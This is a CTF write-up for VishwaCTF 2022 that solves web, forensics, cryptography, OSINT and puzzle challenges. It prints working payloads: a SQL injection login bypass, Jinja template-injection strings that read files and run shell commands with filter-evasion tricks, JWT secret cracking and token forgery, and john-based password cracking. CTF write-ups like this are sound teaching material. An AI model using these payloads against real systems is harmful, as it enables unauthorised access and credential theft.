VishwaCTF 2022

Writeup for the VishwaCTF 2022

Updated:

Web

My Useless Website

250 points 404 solves

Description - I made this website having simple authentication used in it. But unfortunately I forgot the credentials. Can you help me to find the correct one ??
Url - https://my-us3l355-w3b51t3.vishwactf.com/

It was a blind guess but apparently the website is vulnerable to SQL injection and can be logged in successfully with the username admin and password 'OR'1'='1, which the flag was then shown upon login.

vishwactf-2022-useless.png

Flag: VishwaCTF{I_Kn0w_Y0u_kn0W_t1hs_4lr3ady}


Stock Bot

250 points 365 solves

We have our online shop of computer related accessories. So for easy customer interaction we have made a stock bot which will give you how many units of enlisted products are available. https://st0ck-b0t.vishwactf.com/

Checking at the page source reveals that the product Flag is set to bypassed while the other products will have the quantity number checked at check.php.

<script>
    // Hint: Along with other products the Flag is also available in the Products directory
    function sendMsg() {
        ...
        if(!msg.includes('Flag')){
            async function fetchDataAsync(url) {
            try {
                const response = await fetch(url);
                obj = (await response.json());
                div.innerHTML += "<div class='bot-div'><img src='bot.png' class='bot-avatar' /><p class='bot-msg msg'>"+obj['Quantity']+"</p></div>"
            } catch (error) {
                div.innerHTML += "<div class='bot-div'><img src='bot.png' class='bot-avatar' /><p class='bot-msg msg'>No such product</p></div>"  
            }
                div.scrollTop = div.scrollHeight;
            }
            fetchDataAsync('/Products/check.php?product='+msg);
        }
        else{
            div.innerHTML += "<div class='bot-div'><img src='bot.png' class='bot-avatar' /><p class='bot-msg msg'>No such product</p></div>"  
            div.scrollTop = div.scrollHeight;
        }
    }
</script>

Since typing providing the product Flag will be rejected by the bot, the query was done directly by accessing /Products/check.php?product=Flag and the flag was returned.

vishwactf-2022-stock.png

Flag: VishwaCTF{b0T_kn0w5_7h3_s3cr3t}


Hey Buddy!

250 points 245 solves

Hey Buddy, Give me your name I will display your name on my website. Yes exactly, there is nothing in this website.
Url - https://h3y-buddy.vishwactf.com/

The button on the bottom right screen showed the source code that revealed the website to be a Flask application, with the inputted name printed on screen.

@app.route('/submit', methods=['GET'])
def submit():
  name = request.args.get('name', 'unknown')
  name = name.split()
  name = name[0]
  template = '''
        <!DOCTYPE html>
        <html>
          <head>
            <link rel="icon" href="https://www.shareicon.net/data/2016/05/24/770117_people_512x512.png"/>
            <title>Hey, Buddy!</title>
          </head>
          <body>
            <style>
              @import url('https://fonts.googleapis.com/css2?family=Noto+Serif:ital@1&family=Poppins:wght@400;500;600&display=swap');*{margin:0;padding:0;box-sizing:border-box;font-family:"Poppins",sans-serif}::selection{color:#fff;background:purple}body{display:flex;align-items:center;justify-content:center;min-height:95vh;background:purple;padding:20px}.container{display:flex;margin:20px;}.wrapper{max-width:485px;width:100%;height:265px;background:#fff;padding:30px;border-radius:10px;box-shadow:8px 8px 8px rgba(0,0,0,.05)}.wrapper header{color:purple;font-size:33px;font-weight:500;text-align:center;margin-bottom:20px}.wrapper .input-area{height:60px;width:100%;position:relative}.wrapper button{outline:none;border:none;color:#fff;cursor:pointer;border-radius:5px;font-size:20px;padding:15px 20px}.input-area input{width:100%;height:100%;outline:none;padding-left:20px;font-size:20px;border-radius:5px;border:1px solid #bfbfbf}.input-area input:is(:focus,:valid){padding-left:19px;border:2px solid purple}button{margin-top:20px;width:100%;font-size:20px;text-decoration:none;text-align:center}p{color:white; font-size:43px; font-weight: bold}button{background-color:purple}button:hover{background-color:#6a016a}@media (max-width:355px){.wrapper header{font-size:8vmin}}
            </style>
            <p> Hello, ''' + name + '''</p>
          </body>
          <script>
          document.addEventListener("contextmenu", function (e){ e.preventDefault();}, false);
          </script>
        </html>'''

  return render_template_string(template)

The typical SSTI was used, with {{url_for.__globals__.os.__dict__.listdir('./")}} revealing the files under the current directory, where flag.txt was found.

vishwactf-2022-buddy-1.png

The next step was to read the file with {{url_for.__globals__.__builtins__.open('flag.txt').read()}}, yet it did not work. Seems like flag.txt was set to be bypassed as the other files like app.py can be read successfully with the injection. The file name was then replaced by hex characters to escape the checking.

{{url_for.__globals__.__builtins__.open(%22\x66\x6c\x61\x67\x2e\x74\x78\x74%22).read()}}

The payload bypassed the checking and returned the flag successfully.

vishwactf-2022-buddy-2.png

Further research suggested that ${IFS} or \t can be used as a word separator with popen() to read flag.txt.

{{url_for.__globals__.os.popen("cat${IFS}flag.txt").read()}}
{{url_for.__globals__.os.popen("cat\tflag.txt").read()}}

Flag: VishwaCTF{S3rv3r_1s_4fraiD_of_inj3c7ion}


Request Me FLAG

343 points 120 solves

Somebody hosted this website having flag in it. Just request the FLAG to them maybe they will give you. https://r3qu35t-m3-fl4g.vishwactf.com/

The website has a 302 redirection to /404.php. Changed the HTTP method to FLAG and the flag was returned within the header.

└─$ curl -i -X FLAG "https://r3qu35t-m3-fl4g.vishwactf.com"             
HTTP/1.1 200 OK
date: Mon, 21 Mar 2022 14:35:20 GMT
server: Apache/2.4.37 (Red Hat Enterprise Linux) OpenSSL/1.1.1k
flag: VishwaCTF{404_1s_ju57_4n_i11u5ion}
content-length: 0
content-type: text/html; charset=UTF-8
set-cookie: ba7325290a5d689b518b8e038a3c7439=1241d4c0fb9ad64b803f19e348d6f46c; path=/; HttpOnly; Secure; SameSite=None

Flag: VishwaCTF{404_1s_ju57_4n_i11u5ion}


Keep Your Secrets

451 points 68 solves

Yet another API for ‘user’ signup and login. You know the drill, GO! https://k33p-y0ur-53cr3t5.vishwactf.com/

Signed up with the username admin and a token was return, which cannot be used to login as it is a normal user.

└─$ curl "https://k33p-y0ur-53cr3t5.vishwactf.com/api/signup/admin"   
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6InVzZXIiLCJpYXQiOjE2NDc4NDk3MDJ9.jntN_ge2ijGBdbW4VSmOH2et3D_wuZpcbWBLwiTJvfw

└─$ curl -X POST "https://k33p-y0ur-53cr3t5.vishwactf.com/api/login/user" -H "token:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6InVzZXIiLCJpYXQiOjE2NDc4NDk3MDJ9.jntN_ge2ijGBdbW4VSmOH2et3D_wuZpcbWBLwiTJvfw"
Access denied for normal users

Decrypted the token as Base64 using CyberChef and the first part of the token revealed that it is a JWT token with HS256 algorithm. A JWT token is composed of three parts, header, payload, and verify signature.

// eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9
// header
{
    "alg":"HS256",
    "typ":"JWT"
}
// eyJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6InVzZXIiLCJpYXQiOjE2NDc4NDk3MDJ9
// payload
{
    "username":"admin",
    "role":"user", // to be changed as "admin"
    "iat":1647849702 // timestamp of the JWT token
}
// jntN_ge2ijGBdbW4VSmOH2et3D_wuZpcbWBLwiTJvfw
// verify signature
// for HS256, it is calculated by
// HMACSHA256(base64UrlEncode(header) + "." + base64UrlEncode(payload), secret)

The role of the payload was first changed to admin . The secret is however, unknown. Some of the node applications can be exploited by using none as the algorithm to bypass it, which was tried at first but failed.

The secret was brute-forced using https://github.com/brendan-rius/c-jwt-cracker and found it to be owasp.

└─$ ./jwtcrack eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6InVzZXIiLCJpYXQiOjE2NDc4NDk3MDJ9.jntN_ge2ijGBdbW4VSmOH2et3D_wuZpcbWBLwiTJvfw
Secret is "owasp"

With the secret revealed, the JWT token was forged using https://jwt.io/.

vishwactf-2022-secret.png

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6ImFkbWluIiwiaWF0IjoxNjQ3ODQ5NzAyfQ.zOblD3yjxrVZtloGiVKGKNE3reFdIPB2sWdvBIhVqnw

The forged token was then used and the flag was returned.

└─$ curl -X POST "https://k33p-y0ur-53cr3t5.vishwactf.com/api/login/user" -H "token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6ImFkbWluIiwiaWF0IjoxNjQ3ODQ5NzAyfQ.zOblD3yjxrVZtloGiVKGKNE3reFdIPB2sWdvBIhVqnw"
w3@k_$ecr3t$

Flag: vishwactf{w3@k_$ecr3t$}


Flag .Collection

488 points 34 solves

We are collecting cool flag names for our next CTF, please suggest us some cool names and we’ll store them in our database for our next CTF. https://fl4g-c0ll3ct10n.vishwactf.com/

Checking the page source revealed that firebase is used with the configuration details shown, with the database URL in the obfuscated code section as a constant.

...
        "5445585bALQCb",
        "vishwa-ctf.appspot.com",
        "https://vishwa-ctf-default-rtdb.firebaseio.com",
    ];
    _0x3451 = function () {
        return _0x57f996;
    };
    return _0x3451();
}

const firebaseConfig = {
    apiKey: "AIzaSyDHjPh1vkUeGy37mS3cHn-D1UU_oipuTYY",
    authDomain: "vishwactf-challenge12.firebaseapp.com",
    projectId: "vishwactf-challenge12",
    storageBucket: "vishwactf-challenge12.appspot.com",
    messagingSenderId: "435590274737",
    appId: "1:435590274737:web:2bfab4663703ba42c40c90",
};

Connect to firebase using https://github.com/iosiro/baserunner, provide the configuration and use the preset “[Cloud Firestore] Read collection” and change the ==COLLECTION== to flag.

vishwactf-2022-collection-1.png

The flag was then found within the collection.

vishwactf-2022-collection-2.png

Flag: vishwactf{c0nfigur3_y0ur_fir3b@s3_rule$}


Forensic

The Last Jedi

496 points 22 solves

What it takes do you have?

Attachment: Y0D4.jpg
vishwactf-2022-Y0D4.jpg

Basic check with binwalk revealed a rar file with two images within the file.

└─$ binwalk -e Y0D4.jpg 

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             JPEG image data, JFIF standard 1.01
369525        0x5A375         RAR archive data, version 5.x

└─$ ll _Y0D4.jpg.extracted 
total 684
-rw-r--r-- 1 kali kali 344740 Mar 19 07:11 5A375.rar
-rw-r--r-- 1 kali kali  86998 Mar 18 06:32 is_this_it.jpg
-rw-r--r-- 1 kali kali 261156 Mar 18 06:33 Is_This_Really_It.jpg

└─$ unrar x _Y0D4.jpg.extracted/5A375.rar 

UNRAR 6.11 freeware      Copyright (c) 1993-2022 Alexander Roshal

Extracting from _Y0D4.jpg.extracted/5A375.rar

Creating    _MACOSX                                                   OK
Creating    _MACOSX/Sacred archives                                   OK
Creating    _MACOSX/Sacred archives/Dont open                         OK
Extracting  _MACOSX/Sacred archives/Dont open/is_this_it.jpg          OK 
Creating    Sacred archives                                           OK
Creating    Sacred archives/Dont open                                 OK
Extracting  Sacred archives/Dont open/Is_This_Really_It.jpg           OK 
All OK

Used stegextract on the first image and found a fake flag.

vishwactf-2022-is_this_it.jpg

└─$ stegextract _Y0D4.jpg.extracted/is_this_it.jpg              
Detected image format: JPG
Extracted trailing file data:  ASCII text, with CRLF line terminators
Performing deep analysis
Done

└─$ cat is_this_it_dumps 
flag:{J0K3S_0N_Y0U}
                                                                                                                

Used stegextract on the second image as well and found the real flag.

vishwactf-2022-Is_This_Really_It.jpg

└─$ stegextract _Y0D4.jpg.extracted/Is_This_Really_It.jpg 
Detected image format: JPG
Extracted trailing file data:  ASCII text, with no line terminators
Performing deep analysis
Done

└─$ cat Is_This_Really_It_dumps 
flag:{H1DD3N_M34N1NG}

Flag: vishwactf{H1DD3N_M34N1NG}


So Forgetful!

318 points 129 solves

Once my friend was connected to my network, he did some office work and left. Next day he called me that he forgot his password, and wanted me to rescue him <3

Attachment: Ghost.pcap

Opened the file with WireShark and scrolled through the packets. Found an interesting HTTP packet as it was the only POST packet to the endpoint /pages/main.html.

Followed the HTTP stream and found the login credentials with the user id spiveyp and encrypted password S04xWjZQWFZ5OQ%3D%3D.

POST /pages/main.html HTTP/1.1
Referer: 10.0.0.1:8080/index.html
User-Agent: User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:44.0) Gecko/20100101 Firefox/44.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9*/*;q=0.8
Host: 10.0.0.1:8080
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 41
Accept-Language: en-US,en;q=0.5

userid=spiveyp&pswrd=S04xWjZQWFZ5OQ%3D%3DHTTP/1.0 200 OK
Server: BaseHTTP/0.3 Python/2.7.9
Date: Sat, 19 Mar 2016 02:12:42 GMT
Content-type: text/html

Decoded the password as URL and Base64 using CyberChef and the flag was revealed.

Flag: vishwactf{KN1Z6PXVy9}


Keep the flag high

448 points 70 solves

The great Pirate Narao Gosco has your flag but pirates are hard to fight. Can you rotate the ch4n7es in your favor?

Attachment: sail_the_ship.bmp

Basic check with file suggested that the file is not recognised. Checked the file signature with xxd and although the file signature is invalid, the IHDR followed suggested that it is an PNG file.

└─$ file sail_the_ship.bmp 
sail_the_ship.bmp: data

└─$ file --extension sail_the_ship.bmp 
sail_the_ship.bmp: ???

└─$ xxd sail_the_ship.bmp| head -1
00000000: 1222 3c22 aa2e ee22 0000 000d 4948 4452  ."<"..."....IHDR

Changed it to the PNG file signature 89 05 4E 47 0D 0A 01 0A with hexedit and the image can be opened.

└─$ hexedit sail_the_ship.bmp

└─$ xxd sail_the_ship.bmp| head -1
00000000: 8950 4e47 0d0a 1a0a 0000 000d 4948 4452  .PNG........IHDR

vishwactf-2022-sail_the_ship.png

The QR code gave a Google drive link, which contained another image pirate.jpeg.

https://drive.google.com/drive/folders/1gpcc6253bQ_-DZKjKYjGcBo0Y_w01iiB?usp=sharing

vishwactf-2022-pirate.jpeg

Basic check with strings revealed a rather odd string, which was decrypted as ROT47, as suggested in the challenge description, and reversed using CyberChef, the flag was then obtained.

└─$ strings pirate.jpeg
...
YBI<rO
trYAB_9
NDF_:5bE0D:0d4:D?bC_7Lu%r2H9D:'
IEND

Flag: VishwaCTF{f0r3nsic5_is_t3di0us}


Epistemus

456 points 64 solves

This image goes hard, feel free to run diagnostics.

Attachment: patrick.jpg
vishwactf-2022-patrick.jpg

Basic check with the image revealed nothing. Apparently there is a Github link at the bottom right of the image, if looked closely.

vishwactf-2022-epistemus.png

https://github.com/RohitStark/Epistemus

The repository contained three files, which the text file is recognised to be a typical Twitter steganography message with the unique characters.

// README.md
# Epistemus
Is this even relevant?
Arire tbaan tvir lbh hc Arire tbaan yrg lbh qbja Arire tbaan eha nebhaq naq qrfreg lbh Arire tbaan znxr lbh pel Arire tbaan fnl tbbqolr Arire tbaan gryy n yvr naq uheg lbh

// rightplace?.txt
I don't think thⅰs is the right place to be searchіng for anything. Nothing but emptiness and ⅴoіd. Literally, a waste οf time

// something_in_the_way.rar - password protection

The message was decrypted using https://holloway.nz/steg/ and seems like the password for the rar file is found as r1ghtpl4c3.

alright the password is r1ghtpl4c3

Extracted the file successfully and it contained 116 text files.

└─$ unrar x something_in_the_way.rar

UNRAR 6.11 freeware      Copyright (c) 1993-2022 Alexander Roshal

Extracting from something_in_the_way.rar

Enter password (will not be echoed) for something_in_the_way/bomb - Copy (10).txt: 

Creating    something_in_the_way                                      OK
Extracting  something_in_the_way/bomb - Copy (10).txt                 OK 
something_in_the_way/bomb - Copy (100).txt - use current password ? [Y]es, [N]o, [A]ll a

Extracting  something_in_the_way/bomb - Copy (100).txt                OK 
Extracting  something_in_the_way/bomb - Copy (101).txt                OK
...
Extracting  something_in_the_way/bomb - Copy.txt                      OK 
Extracting  something_in_the_way/bomb.txt                             OK 
All OK

└─$ ll something_in_the_way
total 228752
-rw-r--r-- 1 kali kali 2016288 Mar 17 04:11 'bomb - Copy (100).txt'
-rw-r--r-- 1 kali kali 2016288 Mar 17 04:11 'bomb - Copy (101).txt'
...

They contained enormous dummy data of 0 so grep was used to find the flag with the typical flag character {, which revealed the flag within one of the files.

└─$ cat something_in_the_way/* | grep {   
flag:{th1ng$_a43_n0t_wh4t_th3y_4lw4y$_$33m}

Flag: vishwactf{th1ng$_a43_n0t_wh4t_th3y_4lw4y$_$33m}


Cryptography

John the Rocker

250 points 218 solves

Attachment: idrsa.id_rsa.docx

Basic check with file reveals that the file is a RSA private key instead of Word document.

└─$ file idrsa.id_rsa.docx 
idrsa.id_rsa.docx: PEM RSA private key

└─$ cat idrsa.id_rsa.docx
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,115D424076ADCE7E40ACC1E44E4E791A
 
flkT1+aCoQZ4YBHg2VRW3x4HzlEKFwqQ+ePMzEi2BIREHXDtHR1+QUrYRSQLzP4E
jDSkmPWPoTvTXRAyXKrQL8FzkvYDcP9hjkzt41tjsRHz2nkI9K+WFm8DNi6qVS9H
J/yWZdvUED6XwwxTFe6D01GwU7yc7xheE4GlIBazk68Q0tNuH34H8T+hnfkTyNA6
BJL861zNhZNIoWm/352vYydnT/HynugCGn+TIu88C+tLBpcLdLSh50OgTiZ8QK2A
Z82PoPfD1ziVmg7E4BIY1/1qJnNxCMTzUG4PbjLpdkRxHu5aOGzbGZK4K0inDNfr
B7ZedUOCSUTN0VGl5/spDO506vSOjzGL9/iDhYNBRvn4hW3VlPE6nRXAQ78r4Z49
ou0r2x7WvzrpFOPXjvlNHUFyWF9x5ZWsqNnr3PFL2wlCVvGq2z/mWvFdmy0tr6nV
FjEpOwrKMt0hvTcCwry8FKAyPDFafpZq4fg90Jd9xCYWJIZMxuEPOY0jfcSC7QOy
woOhMMCFA3mbJJWOAOKynZdx/7fe/0+Q0XMlljDNXNGNqKRqS9OUhKH967FYxw4W
AQHrN2NdT5WoXJhbDu67Z2jb89LAFR+uBlaxauLSYEFatKmAp/IXR4yTX4yn6Ur2
mlrJ6abOjmi+/LcvMN+qCx7pB//MR2HUxcOWdgA5nuXiYBdiSKj8h0Sq3IVVjDFd
Oj1t0D9m6AUsV32qbiXwiiCkOOMHVZH+6sc1ZMKNwR1WGvFBNyR0DVxlXAzyR7zP
nRUXCLihj696lm+Ywe6xsDOPJMl4RHOAvf+cj3fkI3WKhfhTUhoLrEZmIFDNhKrn
JCe4m9p+aNuPSuXL07bxKbYT6D4wlVE4OlkwZyAfc5R/cfE5JYFgwoIW5RJC9nh1
ru/aBj+464986pteEfI0e3nAuDquEvs37Oxv77n/AdW7QmySIb7RrpUfOCcq+rBt
4zg1cS5i2TX1l25h036E45Rn+efM9QBKQEChhgqfLZ9rbQqqm1coOok4sZZ1tWap
7352duKI9fzMq35P9u4T168sYSvZoa2hK7eZZ3KA/MK8u6B1yFiB1E2rEZGnVeOU
KLt1IFxygxZl9yO5yb4pa8tl6yKO46+OYmCe9ie7FkOEeq85a0xm0OB3HVxL/40/
116u2fJCRoDBjNZ1J4ujYwYUpWEfVoN26KRRiyRMJbHX9QwuW6k+b1OjLgjU2IaR
4BgG6xBTmM3fRQZhWbJ+06ibWDcIRdZOP02iksp/LdJtqtuYIWf2epUx3oBMrSN/
bFDUmLDzfSUCvz4MdZNp8FE1ElM2NK9PWYPe3XA5lzjkl9jxWD7M4WKLTjQJu9P0
PB4x+nHPj5j6XONZ74IbM1f7S4oRuhBCs5hPMgxDr7xSa0ROFsTauCeQ6N22JwIk
GzMpmzBzJtL5/SzFCuN148sMUOASnXLSYd79dB15M0nVRo6Iz9mytF/QVuci+8h+
6luGQBgih+L5ghx1qvUXwNyU+Id9fZYRA8pH2hy5pPWVsaws/1cLOc5PBzOaql7G
90iM4IyzSN2AO8/6HnSJ9tZSCG5cdRq+r1ROF30QnvnUowsbq0eeT4TVfb+kCaHx
-----END RSA PRIVATE KEY-----

As suggested in the challenge name, the key can be cracked using john. The key was first converted into a format that john can recognise using ssh2john.py, then the rockyou.txt wordlist was used to crack the key which revealed to be !!**john**!!.

└─$ python /usr/share/john/ssh2john.py idrsa.id_rsa.docx > idrsa.id_rsa.john

└─$ john --wordlist=/usr/share/wordlists/rockyou.txt idrsa.id_rsa.john 
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
!!**john**!!     (idrsa.id_rsa.docx)     
1g 0:00:00:04 DONE (2022-03-20 06:02) 0.2212g/s 3172Kp/s 3172Kc/s 3172KC/s !!..katie..!!123..!!)$@%
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

Flag: vishwactf{!!john!!}


Tallest Header

289 points 139 solves

My friend sent me file and said how amazing this is, but i think while sending file corrupted. Can you help me fixing this? PS: make it lowercase

Attachment: file.extension

Basic check with strings revealed a ciphertext, with the key [2,1,3,5,4] seems to be suggesting the order of the shuffled characters.

└─$ file file.extension
file.extension: data

└─$ strings file.extension
...
info.txtkey = [2,1,3,5,4]
ciphertext = RT1KC _YH43 3DRW_ T1HP_ R3M7U TA1N0PK
encrypt.pyPK
info.txtPK

Whitespaces were first removed from the ciphertext, then it is split into sets of 5 characters and rearranged the order within each set according to the key. The flag was then decrypted and converted into lowercase.

ciphertext = "RT1KC _YH43 3DRW_ T1HP_ R3M7U TA1N0"
msg = ciphertext.replace(" ", "")
flag = "vishwactf{"

for i in range(0, len(msg), 5):
    flag += msg[i+1] + msg[i] + msg[i+2] + msg[i+4] + msg[i+3]

print(flag.lower() + "}")

Flag: vishwactf{tr1cky_h34d3r_w1th_p3rmu7at10n}


OSINT

Rocket Racoon

286 points 140 solves

Who is ‘racckoonn’ exactly? Intel has that their owner has leaked some private information.

An instagram account with the username racckoonn was found using sherlock. One of the posts provided an YouTube channel link https://www.youtube.com/channel/UCDurVPcUypifNkJVrHxJ3vQ of the owner.

vishwactf-2022-raccoon-1.png

The YouTube channel revealed another username JohnsonM3llisa, which was also used with sherlock and revealed a Twitter account.

vishwactf-2022-raccoon-2.png

The first post matched the description that the owner leaked private information, but seems like it has already been deleted.

vishwactf-2022-raccoon-3.png

The deleted post was found in Wayback Machine, which contained the flag.

vishwactf-2022-raccoon-4.png

Flag: Vishwactf{R4cc00ns_4r3_Sm4rt}


Caught Very Easily

482 points 42 solves

It was a strange request from Ahmed Mansoor, he asked us to investigate a lead that promised the “secrets” of the prison he was in. To our surprise it was an attempt to JAILBREAK Mansoor!!
Flag format: vishwaCTF{EDB-ID_Datewith-}

Google searched for the CVE number associated of the exploit with the keyword “Ahmed Mansoor cve” and three CVE numbers were found, namely CVE-2016-4655, CVE-2016-4656, and CVE-2016-4657.

The CVE numbers were used to search on Exploit Database and only one exploit was returned, which the associated CVE numbers matched all three of the ones found and the platform as IOS matched the jailbreak description. The information of the exploit was used for the flag format and indeed is the flag.

Flag: vishwaCTF{44836_2018-06-05}


Platypus Perry

500 points 7 solves

Agent John got some information that a group of people hid a bag of LSD on a dog. He needs to find the dog before it reaches the dealer.
Flag format: vishwaCTF{Firstname_Lastname}

Hint : David is Linked IN with some “Russian Hacks”
Hint: Platypus Perry and Foggy has some password encrypted rar files and the bruteforcing pwd is 5 letter alphabets. Hope this helps

Attachment: Hire-me.mp3

Reversed and amplified the audio file in Audacity and marked down the spoken letters, then reversed the letters to obtain a sentence., which revealed a name david bombal.

nierbrustiushcihwgnihtemosulletthgimlabmobdivadyugruo
// reversed
ourguydavidbombalmighttellusomethingwhichsuitsurbrein
// with space
our guy david bombal might tell u somthing which suits ur brein

Google searched with the keyword ”david bombal linkedin russian hacks” and found the Linkedin profile, which has a post talking about “Russia Hackers” with an encoded comment.

vishwactf-2022-platypus-1.png

++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>>>++++.++++++++++++..----.+++.<------------.-----------..>++++...<-.>----------.--------.-.+++++.--------.+++++.+++.+++++++++.-------------.<.>--.++++++++++++.--.<+.>-------.+++.+++.-------.<.>++++++++++++.<++++++++.>------.----------.<----.>+++.++++.---.++++++++++++++.-.++++++++.--------------------.++++++++++++++.-----------------.+.<----.>--.+++++++++.--------.+++++.----.<-.>++++++++++++++.-----------------.+++++++++++++++++.<+.>------------.+++.+++.-------.

The comment is encoded in the Brainfuck language, which was decoded using https://www.dcode.fr/langage-brainfuck and revealed a link.

https://www.mediafire.com/file/q7ka3dhesrzftcd/bkchd.rar/file

The file at the URL was downloaded and according to the hint, brute forcing the 5 letter password is required.

The file was first converted into a format that john can recognise using rar2john, then the rockyou.txt wordlist used to create a new wordlist with 5 letters only, which was used to crack the file which revealed to be idgaf.

└─$ rar2john bkchd.rar > bkchd.john
! file name: bkchd.png

└─$ grep -E '^.{5}$' /usr/share/wordlists/rockyou.txt > 5letters.txt

└─$ john -wordlist=5letters.txt  bkchd.john
Using default input encoding: UTF-8
Loaded 1 password hash (rar, RAR3 [SHA1 128/128 ASIMD 4x AES])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
idgaf            (bkchd.rar)     
1g 0:00:10:31 DONE (2022-03-20 07:12) 0.001583g/s 255.9p/s 255.9c/s 255.9C/s ifems..iddag
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

The image has an unknown person with distinctive tattoos and beard. Basic check did not reveal any useful information within the image file.

vishwactf-2022-bkchd.png

A reverse image search was done using https://yandex.com/images/ and seems like the person in the image is Polish Viking with an Instagram account pavel_ladziak.

vishwactf-2022-platypus-2.png

The posts revealed that he has a dog but could not find any names of it. In his profile it also has a link to his partner’s account natalia.ziecina.

vishwactf-2022-platypus-3.png

In there a post was found with the dog’s account iamthemisio.

vishwactf-2022-platypus-4.png

And the full name Misio Zdzisio was found in the profile, which is the flag.

vishwactf-2022-platypus-5.png

Flag: vishwaCTF{Misio_Zdzisio}


Miscellaneous

I don’t need sleep, I need answers

418 points 87 solves

Discord profile pictures are circular. But are they? VSauce music plays
The Librarian is all knowing, maybe try confronting him? (refer “The Library” challenge, OSINT)

Opened Discord in browser and by inspecting the page, the source of the profile picture was found.

vishwactf-2022-sleep-1.png

Copied the URL and changed the size to 512 to view the image clearly, and the flag was found at the bottom of the image, outside the circular boundary.

vishwactf-2022-sleep-2.png

Flag: vishwaCTF{h3h3_sn3akyy}


Forest Trails

459 points 24 solves

In order to survive, we need oxygen, and trees give us oxygen. Also, here’s something totally unrelated that you might find interesting.

084 082 051 123 048 082 084 097 051 072 095 051 087 080 083 104 084 082 095 095 095 077 072 084 051 072 049 095 078 051 089 105 119 067 070 084 051 083 052 051 084 051 080 051 083 084 052 095 072 095 052 084 095 082 084 083 085 048 095 072 095 075 125 118 115

Converted the numbers from decimal to ASCII using CyberChef. The description hinted on inorder tree traversal, which starts with the most left sub-node, back to the root node, then the right sub-node.

msg = "TR3{0RTa3H_3WPShTR___MHT3H1_N3YiwCFT3S43T3P3ST4_H_4T_RTSU0_H_K}vs"
flag = ""

def traverse(i):
    global flag
    # if the left sub-node is not at the bottom
    if(i * 2 + 1 < len(msg)):
        # traverse for the left sub-node
        traverse(i * 2 + 1)
    # get the flag character
    flag += msg[i]
    # if the right sub-node is not at the bottom
    if(i * 2 + 2 < len(msg)):
        # traverse for the right sub-node
        traverse(i * 2 + 2)

# start from the root node
traverse(0)
print(flag)

Flag: vishwaCTF{TR33S_4R3_TH3_P03MS_TH4T_TH3_34RTH_WR1T3S_UP0N_TH3_SKY}


Comments